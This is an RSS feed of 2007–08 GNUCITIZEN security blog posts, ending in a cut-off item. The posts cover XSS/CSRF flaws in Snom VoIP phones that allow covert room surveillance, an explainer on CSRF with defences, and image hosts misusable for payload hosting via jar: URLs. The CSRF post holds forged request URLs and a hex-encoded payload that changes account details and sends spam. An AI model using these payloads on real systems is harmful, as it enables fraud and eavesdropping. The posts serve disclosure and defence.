<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GNUCITIZEN &#187; .mario</title>
	<atom:link href="http://www.gnucitizen.org/author/mario/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org</link>
	<description>Information Security Think Tank</description>
	<lastBuildDate>Mon, 12 Dec 2011 20:33:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Total surveillance made easy with VoIP phones</title>
		<link>http://www.gnucitizen.org/blog/total-surveillance-made-easy-with-voip-phones/</link>
		<comments>http://www.gnucitizen.org/blog/total-surveillance-made-easy-with-voip-phones/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 23:03:43 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[survaillance]]></category>
		<category><![CDATA[voip]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/total-surveillance-made-easy-with-voip-phones</guid>
		<description><![CDATA[Remember the article about call jacking with the BT Home Hub? Here is something comparable but pretty new. Since Ronald and pdp had announced the router hacking challenge, I&#8217;ve decided to play around a little bit and as a result I&#8217;ve managed to find a rather interesting issue. Although not directly related to the router hacking contest, the results I&#8217;ve got were rather disturbing and made me get a totally new view on the VoIP phone security landscape. [...]]]></description>
			<content:encoded><![CDATA[<p>Remember the article about <a href="http://www.gnucitizen.org/blog/call-jacking">call jacking</a> with the BT Home Hub? Here is something comparable but pretty new. Since <a href="http://0x000000.com/">Ronald</a> and <a href="http://www.gnucitizen.org/about/pdp">pdp</a> had announced the <a href="http://www.gnucitizen.org/blog/router-hacking-challenge">router hacking challenge</a>, I&#8217;ve decided to play around a little bit and as a result I&#8217;ve managed to find a rather interesting issue. Although not directly related to the router hacking contest, the results I&#8217;ve got were rather disturbing and made me get a totally new view on the VoIP phone security landscape.</p>

<p>Most modern VoIP phones come with a Web interface which you can use for administrative purposes mainly. The user can adjust the device&#8217;s settings, like change the display messages, maintain the address books and on some models even make phone calls from the Web interface. Since the device we&#8217;ve tested supports that particular functionality (<strong>call a number via a simple POST request</strong>) I&#8217;ve decided to have a look at the markup a little bit closer, not knowing what hornet&#8217;s nest I was eventually going to stir up. The device we are talking about is the <strong>Snom 32x</strong> &#8211; a pretty common device that can be found in several medium and large offices.</p>

<p><em>The Web interface of the Snom 32x VoIP phone suffers from many vulnerabilities that may cause financial and reputation trouble for the organizations that trusts them in their network. The vulnerabilities are based on common attack vectors, such as XSS and CSRF.</em></p>

<p>It is essential to keep in mind that, in order to attack the Snom 32x Web interface, the attacker requires knowledge of its IP address. This knowledge can be obtained by using a XSS Intranet scanning technique or via a plain guessing/bruteforce method. By looping through several IP addresses with JavaScript, looking for URLs like <code>http://xxx.xxx.xxx.xxx/img/logo2.gif</code>, we can easily locate the Web interface of the device. Of course a quick <a href="http://nmap.org/">nmap</a> scan delivers equivalent results with more ease and less time required. It is important to note that some networks use predictable names which also can also be used to pin-point a vulnerable device.</p>

<p>After discovering the device the attacker has several possibilities for evilness. Let&#8217;s have a look at some of them:</p>

<ul>
<li>call arbitrary people via the Web interface via the means of CSRF.</li>
<li>make the call history <em>invisible</em> by calling a number like <code>"');</code> which causes the Flash application displaying the most recent calls to crash.</li>
<li>steal the phone history from the logs including any other details attached to the calls via XHR.</li>
<li>poison the address book with a persistent XSS &#8211; the name is encoded correctly but not the phone number.</li>
<li>inject a JavaScript worm to gain total control over the user by changing the visible output by performing XHR-CSRF attack.</li>
<li>change the settings of registered phones, including the displayed text on the phone&#8217;s display.</li>
<li>Last but not least, monitoring the victim by making a phone call to the attacker&#8217;s number, who in tern will accept the call and recording the incoming sound. Note that the phone doesn&#8217;t give any noticeable feedback (ring tones, etc) while the victim was kept under surveillance. Keep in mind that the victim pays for the call.</li>
</ul>

<p>It is also important to note that:</p>

<ul>
<li>None of the tested forms use tokens or other methods to make it harder to perform CSRF attacks against the Web interface.</li>
<li>The phone comes with a default password, which is <a href="http://www.cirt.net/cgi-bin/passwd.pl?method=showven&amp;ven=Snom">0000</a>. You can pick this information from Google.</li>
</ul>

<p>Let&#8217;s have a look at a proper scenario. If the attacker knows the IP of the device&#8217;s Web interface he/she can disable and/or hijack the whole phone within a few minutes. By crafting a XSS-CSRF vector he/she can inject a persistent XSS into the address book. When the victim visits the phone book, the XSS worm is silently executed and the attacker gains a total control over the interface and the actions that will be performed in the future. This also circumvents any protection mechanisms like VPN or comparable network layers, etc. And yes, in the worst case scenario the attacker will be able to survey the sound in the room in and cleanup the logs afterwords.</p>

<p>The whole device seemed to be especially designed for these issues to work. It is not like the situation where a small design flaw endangers the entire security model like many other <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">cases</a>. This time almost any available feature was buggy and vulnerable, and it kind of seems like a wonder that those phones are shipped all over the world and nothing major have happened yet. I&#8217;ve tried to patch the phone with the latest firmware but that didn&#8217;t work &#8211; the phone was  temporarily disabled after the process and when it began responding again the firmware version was still the same. So, even if there are patches for those devices they sometimes can&#8217;t be used at all. It is very probable that other phones from other companies have the same or at least similar issues, so don&#8217;t consider this post as a blame on a certain company. We&#8217;d rather point out severe issues that kind of compare to Web hacking scene in the nineties and have them fixed urgently &#8211; no matter what phone is used or which company have built it.</p>

<div class="message">Please check the VoIP devices that you use and verify that the Web interfaces implements strong passwords and enforces some minimum security level. Contact the company who built the device and do bug them with you concerns. This will help generating a less dangerous situation for you and other VoIP phone users. Vulnerabilities like the one mentioned above could cost you or your company great amounts of money, reputation loss and even large scale information theft.</div>

<p>The <a href="http://www.gnucitizen.org/static/blog/2008/02/snom.htm">proof of concept</a>  (POC) code can be found over here (please use it responsibly):</p>

<pre><code><a href="http://www.gnucitizen.org/static/blog/2008/02/snom.htm" rel="inline-text">http://www.gnucitizen.org/static/blog/2008/02/snom.htm</a></code></pre>

<p>&#8230; and some supporting screenshots follow here:</p>

<div class="screen">
<a href="http://www.gnucitizen.org/static/blog/2008/02/snom-screen1.png"><img src="http://www.gnucitizen.org/static/blog/2008/02/snom-screen1-255x150.png" alt="Snom Screen1" title="Snom Screen1" width="255" height="150" class="alignnone size-thumbnail wp-image-2873" /></a>
<a href="http://www.gnucitizen.org/static/blog/2008/02/snom-screen2.png"><img src="http://www.gnucitizen.org/static/blog/2008/02/snom-screen2-255x150.png" alt="Snom Screen2" title="Snom Screen2" width="255" height="150" class="alignnone size-thumbnail wp-image-2874" /></a>
<a href="http://www.gnucitizen.org/static/blog/2008/02/snom-screen3.png"><img src="http://www.gnucitizen.org/static/blog/2008/02/snom-screen3-255x150.png" alt="Snom Screen3" title="Snom Screen3" width="255" height="150" class="alignnone size-thumbnail wp-image-2875" /></a>
<a href="http://www.gnucitizen.org/static/blog/2008/02/snom-screen4.png"><img src="http://www.gnucitizen.org/static/blog/2008/02/snom-screen4-255x150.png" alt="Snom Screen4" title="Snom Screen4" width="255" height="150" class="alignnone size-thumbnail wp-image-2876" /></a>
</div>

<p><em>Snom has been contacted in several ways but we haven&#8217;t got any responded yet. We will keep you posted about any news. Feel free to comment &#8211; we are very looking forward discussing those issues more in depth.</em></p>

<h3>Update: 14 Feb 2008</h3>

<p>We&#8217;ve received a response from Snom. This is what they say.</p>

<blockquote>
<p>To prevent this we will take the following measurments:</p>

<ul>
<li>We will publish an article on &#8220;how to make your snom phone saver&#8221; on our website (including a link to it on the start page)</li>
<li>We will send out a newsletter to all our registred VARS and distributers with this information</li>
<li>We will work on the FW to improve security (just checked, on FW Ver. 7 the Flash applet is disabled by default)</li>
<li>We will publish a new email adress, for security matters (mostlikly security@snom.com), which goes to a bunch of people (including me).</li>
</ul>

<p><em>We are thankful for letting us know about your future plans.</em></p>
</blockquote><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/total-surveillance-made-easy-with-voip-phones/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>CSRF Demystified</title>
		<link>http://www.gnucitizen.org/blog/csrf-demystified/</link>
		<comments>http://www.gnucitizen.org/blog/csrf-demystified/#comments</comments>
		<pubDate>Wed, 21 Nov 2007 10:22:34 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/csrf-demystified</guid>
		<description><![CDATA[Cross-Site Request Forgery has been all over the press recently since several major sites and web applications were plagued by exploits and uncovered vulnerabilities &#8211; including GMail, Google AdSense and many others. When talking to developers about CSRF there&#8217;s mostly not that much knowledge and a lot of misconceptions and FUD. Sometimes the term CSRF hasn&#8217;t even been heard of before. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-Site Request Forgery</a> has been all over the press recently since several major sites and web applications were plagued by exploits and uncovered vulnerabilities &#8211; including <a href="http://www.kb.cert.org/vuls/id/571584">GMail</a>, <a href="http://www.thespanner.co.uk/2007/09/27/google-adsense-csrf-hole/">Google AdSense</a> and many others. When talking to developers about CSRF there&#8217;s mostly not that much knowledge and a lot of misconceptions and <a href="http://en.wikipedia.org/wiki/Fear%2C_uncertainty_and_doubt">FUD</a>. Sometimes the term CSRF hasn&#8217;t even been heard of before. So, with this article, I will try to provide a basic explanation about the attack pattern itself, come up with several real word examples and finally summarize a list of things developers can do to protect their sites against CSRF attacks.</p>

<h3>What is CSRF</h3>

<p>CSRF, in its most basic form, is certainly the most easy to create attack vector paired with almost incalculable impact on the targeted application, it&#8217;s users and storage mechanisms. Imagine the following case: A User is logged into GMail and checks his mails. After she stays logged in for a while &#8211; that&#8217;s a regular behavior &#8211; the user opens a new Tab and navigates to another site. This site contains code that fires a regular HTTP Request to the GMail servers &#8211; an image tag is enough to do so. Since the user is still logged in, the request is processed with her privileges &#8211; maybe changes some settings or deletes some mails, thanks to the fact that HTTP is stateless &#8211; that&#8217;s it. The attack has been performed successfully and neither the user nor GMail haven&#8217;t even noticed.</p>

<p>So the longer the session needs to time out and the more the user surfs around untrusted sites, the higher the risk is to pop onto one with a CSRF attack on it. Any tag which fires a request to an external resource can be used to perform a hidden CSRF attack &#8211; including images, link tags, some meta tags, embed and object tags and so on. Same goes for attributes which load background images or similar. You can even check if you site has been validated by someone if you replace the <a href="http://en.wikipedia.org/wiki/Document_Type_Definition">DTD</a> file in the very header of the applications markup with a resource on your servers &#8211; <a href="http://sla.ckers.org/forum/read.php?4,3528,3528#msg-3528">that&#8217;s CSRF too</a>.</p>

<p>So let&#8217;s wrap it up &#8211; the following points are the basic things that characterize CSRF:</p>

<ul>
<li>As long as you are logged into Application A any other page can fire requests towards it with your privileges.</li>
<li>The longer the session lasts the higher is the risk.</li>
<li>It doesn&#8217;t matter if the targeted functionality uses GET or POST &#8211; using POST just raises the bar a little bit.</li>
<li>XSS is CSRFs are very best fried &#8211; we&#8217;re going to talk about that later in this post.</li>
<li>Social bookmarking is CSRFs&#8217; second best friend &#8211; remember hat the attacker needs the user to visit his prepared site?</li>
<li>Complex forms or transactions with several steps are no protection against CSRF &#8211; just fire more than one request.</li>
</ul>

<h3>A real world example</h3>

<p>To make you understand the term CSRF even better here&#8217;s a real world example. Keep in mind that we cannot uncover the platform&#8217;s name and domain. Imagine a very big business platform where you can register and publish your contact details, your skills etc. You can search for colleagues and coworkers and communicate with them via the platform&#8217;s messaging system. Since the owner of the platform wanted to gild the traffic, they&#8217;ve created the ability to register a pro account with more possibilities for the user. The user can add and edit his account or credit card information via a HTML form. And as a matter of fact this exact form isn&#8217;t protected against CSRF &#8211; so the following request would actually change your account info. Say goodbye to your pro account and hello to lots of annoying trouble.</p>

<pre><code>https://our.example.com/change_account
?paytype=debit
&amp;paytype_id=1234
&amp;paytype_field_1=123456789 // the account number
&amp;paytype_field_2=12345678 // the bank code
&amp;paytype_field_3=Richie+Rich // the account owner
&amp;paytype_field_4=BankOfHappiness // the bank's name
&amp;op=editpaytype.save
&amp;confirmmode=</code></pre>

<p>As mentioned earlier, it doesn&#8217;t matter if this request is fired from an image tag or somewhere else &#8211; as long as you are logged in your account information will be changed. Same can be done when trying to invite new users to the platform via the invitation form:</p>

<pre><code>https://our.example.com/invite
?op=send
&amp;register_mode=0
&amp;first_name_1=test
&amp;last_name_1=test
&amp;email_1=someone@example.inv
&amp;subject=Buy%20those%pills!
&amp;salutation=1
&amp;body=Buy%20mortal!
&amp;send=submit
&amp;language=de</code></pre>

<pre><code>&#x3c;&#x69;&#x6d;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x6f;&#x75;&#x72;&#x2e;&#x65;&#x78;&#x61;&#x6d;&#x70;&#x6c;&#x65;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x63;&#x68;&#x61;&#x6e;&#x67;&#x65;&#x5f;&#x61;&#x63;&#x63;&#x6f;&#x75;&#x6e;&#x74;&#x3f;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x64;&#x65;&#x62;&#x69;&#x74;&#x26;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x5f;&#x69;&#x64;&#x3d;&#x31;&#x32;&#x33;&#x34;&#x26;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x5f;&#x66;&#x69;&#x65;&#x6c;&#x64;&#x5f;&#x31;&#x3d;&#x31;&#x32;&#x33;&#x34;&#x35;&#x36;&#x37;&#x38;&#x39;&#x26;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x5f;&#x66;&#x69;&#x65;&#x6c;&#x64;&#x5f;&#x32;&#x3d;&#x31;&#x32;&#x33;&#x34;&#x35;&#x36;&#x37;&#x38;&#x26;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x5f;&#x66;&#x69;&#x65;&#x6c;&#x64;&#x5f;&#x33;&#x3d;&#x52;&#x69;&#x63;&#x68;&#x69;&#x65;&#x2b;&#x52;&#x69;&#x63;&#x68;&#x26;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x5f;&#x66;&#x69;&#x65;&#x6c;&#x64;&#x5f;&#x34;&#x3d;&#x42;&#x61;&#x6e;&#x6b;&#x4f;&#x66;&#x48;&#x61;&#x70;&#x70;&#x69;&#x6e;&#x65;&#x73;&#x73;&#x26;&#x6f;&#x70;&#x3d;&#x65;&#x64;&#x69;&#x74;&#x70;&#x61;&#x79;&#x74;&#x79;&#x70;&#x65;&#x2e;&#x73;&#x61;&#x76;&#x65;&#x26;&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x72;&#x6d;&#x6d;&#x6f;&#x64;&#x65;&#x3d;&#x22;&#x20;&#x2f;&#x3e;&#x0a;&#x0a;&#x3c;&#x6c;&#x69;&#x6e;&#x6b;&#x20;&#x72;&#x65;&#x6c;&#x3d;&#x22;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x22;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x63;&#x73;&#x73;&#x22;&#x20;&#x68;&#x72;&#x65;&#x66;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x6f;&#x75;&#x72;&#x2e;&#x65;&#x78;&#x61;&#x6d;&#x70;&#x6c;&#x65;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x69;&#x6e;&#x76;&#x69;&#x74;&#x65;&#x3f;&#x6f;&#x70;&#x3d;&#x73;&#x65;&#x6e;&#x64;&#x26;&#x72;&#x65;&#x67;&#x69;&#x73;&#x74;&#x65;&#x72;&#x5f;&#x6d;&#x6f;&#x64;&#x65;&#x3d;&#x30;&#x26;&#x66;&#x69;&#x72;&#x73;&#x74;&#x5f;&#x6e;&#x61;&#x6d;&#x65;&#x5f;&#x31;&#x3d;&#x74;&#x65;&#x73;&#x74;&#x26;&#x6c;&#x61;&#x73;&#x74;&#x5f;&#x6e;&#x61;&#x6d;&#x65;&#x5f;&#x31;&#x3d;&#x74;&#x65;&#x73;&#x74;&#x26;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x5f;&#x31;&#x3d;&#x73;&#x6f;&#x6d;&#x65;&#x6f;&#x6e;&#x65;&#x40;&#x65;&#x78;&#x61;&#x6d;&#x70;&#x6c;&#x65;&#x2e;&#x69;&#x6e;&#x76;&#x26;&#x73;&#x75;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x3d;&#x42;&#x75;&#x79;&#x25;&#x32;&#x30;&#x74;&#x68;&#x6f;&#x73;&#x65;&#x25;&#x70;&#x69;&#x6c;&#x6c;&#x73;&#x21;&#x26;&#x73;&#x61;&#x6c;&#x75;&#x74;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x31;&#x26;&#x62;&#x6f;&#x64;&#x79;&#x3d;&#x42;&#x75;&#x79;&#x25;&#x32;&#x30;&#x6d;&#x6f;&#x72;&#x74;&#x61;&#x6c;&#x21;&#x26;&#x73;&#x65;&#x6e;&#x64;&#x3d;&#x73;&#x75;&#x62;&#x6d;&#x69;&#x74;&#x26;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x64;&#x65;&#x22;&#x20;&#x2f;&#x3e;</code></pre>

<p>This way CSRF enables the attacker to spam arbitrary users from the account of the currently logged in user. Again annoying consequences for the user himself or the platform owners may follow. The examples show that it is very easy to perform a CSRF attack with very high impact. So now we come to the part of protection against CSRF.</p>

<h3>Countermeasures and protection against CSRF</h3>

<p>There haven been many articles and discussions around this topic and this one aims at summing them up and finding an almost bullet-proof and easy to implement solution. Basically most times the following measures are mentioned to protect an application against CSRF attacks and decreasing the size of the attack surface.</p>

<ul>
<li>Using tokens for actions that store/update/delete/mail information</li>
<li>Using referrer checks when dealing with actions that store/update/delete/mail information</li>
<li>Using captchas or other mechanisms to make sure the request can&#8217;t be brute-forced</li>
</ul>

<p><a href="http://www.businessinfo.co.uk/labs/csrf_defend/csrf_demos.php">This page</a> provides good examples for the above mentioned mechanisms. In case all of those three measurements were implemented properly the surface for CSRF attacks will become very small but the main problem is that any of them can be circumvented. For example the usage of unguessable tokens makes pretty sure the an attacker can&#8217;t assume the correct URL without intense brute-forcing. A link with such a token could look like <a href="http://www.businessinfo.co.uk/labs/csrf_defend/url_tokens.php">this</a>. But all protective impact of this measurement is lost immediately when the application is vulnerable to XSS &#8211; because that way the token can be easily parsed off the page content and be used in the actual CSRF attack. The only thing an attacker has to do to get the token is to trick the user on the XSSed page and send the resulting response content to an arbitrary page of his. So one can see, XSS and CSRF are very good friends when coming to circumvention of defense mechanisms. Same problem exists for the referrer checks. Several older versions of the flash player were able to <a href="http://ha.ckers.org/blog/20060725/forging-http-request-headers-with-flash/">spoof the request headers</a> including of course the referrer. So a versatile attacker will have no problems circumventing that mechanism too. And captchas themselves <a href="http://www.captchakiller.com/">aren&#8217;t bulletproof either</a> and additionally ship the problem that the application they&#8217;re used on looses parts of its accessibility.</p>

<p>So the only thing a developer can do to make sure there are as few as possible CSRF vulnerabilities in his applications is the clever combination of the above mentioned mechanisms and to avoid XSS like hell. Most modern frameworks ship form tokens but a built in referrer check is pretty rarely to see. But it&#8217;s easier to implement such a measurement in new and existing applications than it seems. First all requests which should be protected from CSRF have to be gathered into a list and the URL schemes have to be searched for patterns &#8211; most time something like the following:</p>

<ul>
<li><code>http://example.com/edit/...</code></li>
<li><code>http://example.com?action=store</code></li>
<li><code>http://example.com?id=123&amp;delete=1</code></li>
</ul>

<p>After having accomplished that. central instance is needed where any request has to go past before being processes by the application &#8211; mostly that&#8217;s some file like index.php, index.asp or similar. If such a file isn&#8217;t available most webservers feature a way to define such a file in their configuration. The most commonly used <a href="http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29">LAMP</a> combo for example provides the <a href="http://php.net/ini.core">auto_prepend_file</a> option. After the critical requests were gathered successfully it&#8217;s required to craft a regular expression, that matches those and is able to separate them from the rest of the requests the application understands. Now any incoming request that matches the pattern can be examined further by the prepended or index file. If a referrer appears that doesn&#8217;t match the applications URL the request can be blocked and logged. Same goes for adding URL tokens to an already existing application &#8211; the prepended or index file can check for the existence and validity of the incoming token and that way the developer has way less work to do and validate the incoming traffic at a central position of his application. To make sure the generated markup positions the tokens in the critical forms the LAMP developer can use the <a href="http://php.net/manual/en/ini.core.php">auto_append_file</a> option and avoid customizing any template including those critical forms and links &#8211; same goes for the implementation of captchas if the loss of accessibility is acceptable for the platform&#8217;s users. Of course, there&#8217;s basic knowledge about regular expressions and some patience needed but the Internet is full of <a href="http://www.regular-expressions.info/">comprehensive tutorials</a>, guides and <a href="http://www.rexv.org/">tools</a>. So we see &#8211; defeating CSRF effectively is no black magic &#8211; even for existing applications and frameworks.</p>

<p>But also the user can protect themselves against soma variants of CSRF attacks &#8211; again with <a href="http://www.maone.net/">Giorgio Maone&#8217;s</a> Firefox extension called <a href="http://noscript.net/">NoScript</a>. NoScript detects and oppresses cross-domain form submits. Needless to say that NoScript features a pretty advanced XSS protection too.</p>

<h3>Conclusion</h3>

<p>This article explained the basics of CSRF attacks and showed how they work and what impact they can have. Also, we&#8217;ve learned how to read several techniques to mitigate and avert vulnerabilities for applications and the users themselves. Still, there are many other things to point out and hopefully the article will entail a discussion to cover all aspects which haven&#8217;t found their way in. Also we&#8217;d be happy to answers your questions &#8211; so feel free to contact us or comment on this post.</p>

<p><em>And by the way &#8211; the protection method we discussed above isn&#8217;t even pure theory anymore. You can check out the <a href="http://php-ids.org/category/csrfx/">PHP5 library CSRFx</a> &#8211; which does the exact thing right here. Your opinion on this project is of course welcome too.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/csrf-demystified/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Tomorrow&#8217;s Trojan Peddlers</title>
		<link>http://www.gnucitizen.org/blog/tomorrows-trojan-peddlers/</link>
		<comments>http://www.gnucitizen.org/blog/tomorrows-trojan-peddlers/#comments</comments>
		<pubDate>Sat, 10 Nov 2007 09:11:43 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/tomorrows-trojan-peddlers</guid>
		<description><![CDATA[Some weeks ago I did play a little bit with various nopaste applications &#8211; you know, the tools that allow you to paste/host huge amounts of regular text, source code and other non binary stuff. There are dozens of them out there and most of them provide no ACL, whatsoever. So anyone can see the text you&#8217;ve pasted. Pasting new data happens in a matter of seconds due to the very plain interfaces these sites implement. [...]]]></description>
			<content:encoded><![CDATA[<p>Some weeks ago I did play a little bit with various <a href="http://en.wikipedia.org/wiki/Nopaste">nopaste applications</a> &#8211; you know, the tools that allow you to paste/host huge amounts of regular text, source code and other non binary stuff. There are dozens of them out there and most of them provide no ACL, whatsoever. So anyone can see the text you&#8217;ve pasted. Pasting new data happens in a matter of seconds due to the very plain interfaces these sites implement. Some of them even support highlighting in dozens of programming and scripting languages. Submit your text and you even get a nice short link for free.</p>

<p>Besides all those benefits, most of those services provide something else too. Normally you see the pasted text embedded inside an HTML page provided by the service. <q>Mmmh, all these buttons!</q> But most times there&#8217;s a download button too which points on another short URL which leads you to the pasted text in a plain format, waiting to be included by a script tag or <a href="http://php.net/manual/en/function.file-get-contents.php">file_get_contents</a>. So again, there&#8217;s that single feature that turns the whole service into a mutation of it self. This is definitely not the first nor the last time we have the chance to see something like that. Here are some examples I goggled. <em>It took me about 10 minutes to assemble the list.</em></p>

<ul>
<li><code>http://nopaste.php-quake.net/down/9010</code></li>
<li><code>http://rafb.net/p/8JzOBa36.txt</code></li>
<li><code>http://nopaste.com/p/aCG0kxeyY/txt</code></li>
<li><code>http://nopaste.ch/8ad6ca7aa5b766f.txt</code></li>
<li><code>http://phpfi.com/274672?download</code></li>
<li><code>http://nopaste.debianforum.de/get/6953</code></li>
<li><code>http://nopaste.simosnap.com/2812?download</code></li>
<li><code>http://www.nopaste.name/save.php?id=88819</code></li>
<li><code>http://nopaste.paefchen.net/334/download</code></li>
<li><code>http://www.nopaste.pl/Save/1dp.txt</code></li>
</ul>

<p>Surely the nopaste applications are not the only ones who unwillingly provide good opportunities for anonymous and free payload hosting. Remember <a href="http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues">pdp&#8217;s article on the problems with the Firefox jar: protocol issues</a>? What would you say &#8211; what percentage of all those <a href="http://en.wikipedia.org/wiki/Image_host">image hosting services</a> out there really check if the image you try to upload is valid? I was pretty sure most of them would. But they don&#8217;t.</p>

<p>On 70-80% of the image hosting platforms you can upload whatever you want. No MIME checks, no dimension check, no transformation of the uploaded images, no checks for suspicious patterns in the image source &#8211; nothing. Some of them even disclose more security holes while trying to upload simple bin files. On a several occasions, I&#8217;ve got prompted by messages that look like this: <q><code>Warning: Division by zero in ... - your image was uploaded!</code></q>. Here&#8217;s the list of services I&#8217;ve tested. Since we have real issues here the URLs are a little bit obfuscated.</p>

<pre><code>jar:http://imagXXXload.biz/files/dadfad6e3ba807aa20712fbe2.png!/test.html
jar:http://img3.freeimXXXhosting.net/uploads/328d2315c3.png!/test.html
jar:http://www.imglXXXtr.com/uploads/7accc832a7.png!/test.html
jar:http://upload.iXXXpot.com/u/07/311/05/test64864.zip.png!/test.html
jar:http://www.direcXXXload.com/showoriginal-32664.jpg!/test.html
jar:http://www.uplXXXhouse.com/fileuploads/712/712277d886fa0881092da4936f5ded10e771cd.png!/test.html
jar:http://www.fotopaXXXd.com/upload/nr/486/test.zip.png!/test.html
jar:http://www.uploXXXimages.net/imagen/18790b0b47.png!/test.html
jar:http://www.imaXXX.info/images/06/1194534977_test.zip.png!/test.html
jar:http://pics.fXXXni.de/save/p_1194532832.png!/test.html
jar:http://img.nXXXnternetstate.com/1194532968.png!/test.html</code></pre>

<p>The conclusion after this short but rather interesting research is that even services which just provide a single and very basic features, have to watch out for security problems. None of the above mentioned services and tools are full blown applications created by years of invested work, but small helpers that just do what they do. Nevertheless they help making the Internet even more insecure &#8211; ah the FUD &#8211; and give attackers the chance to store their payload anonymously. <q>And any of those platforms could be secured by less than ten lines of code.</q> More thorough validation and a more thoughtful bouquet of features would have de-magnified the attack surface effectively.</p>

<p><em>Developers have to understand that even small features can have massive impact when used in the wrong context &#8211; please think before you implement.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/tomorrows-trojan-peddlers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Snippets of defense Pt.IV</title>
		<link>http://www.gnucitizen.org/blog/snippets-of-defense-ptiv/</link>
		<comments>http://www.gnucitizen.org/blog/snippets-of-defense-ptiv/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 10:41:28 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/snippets-of-defense-ptiv</guid>
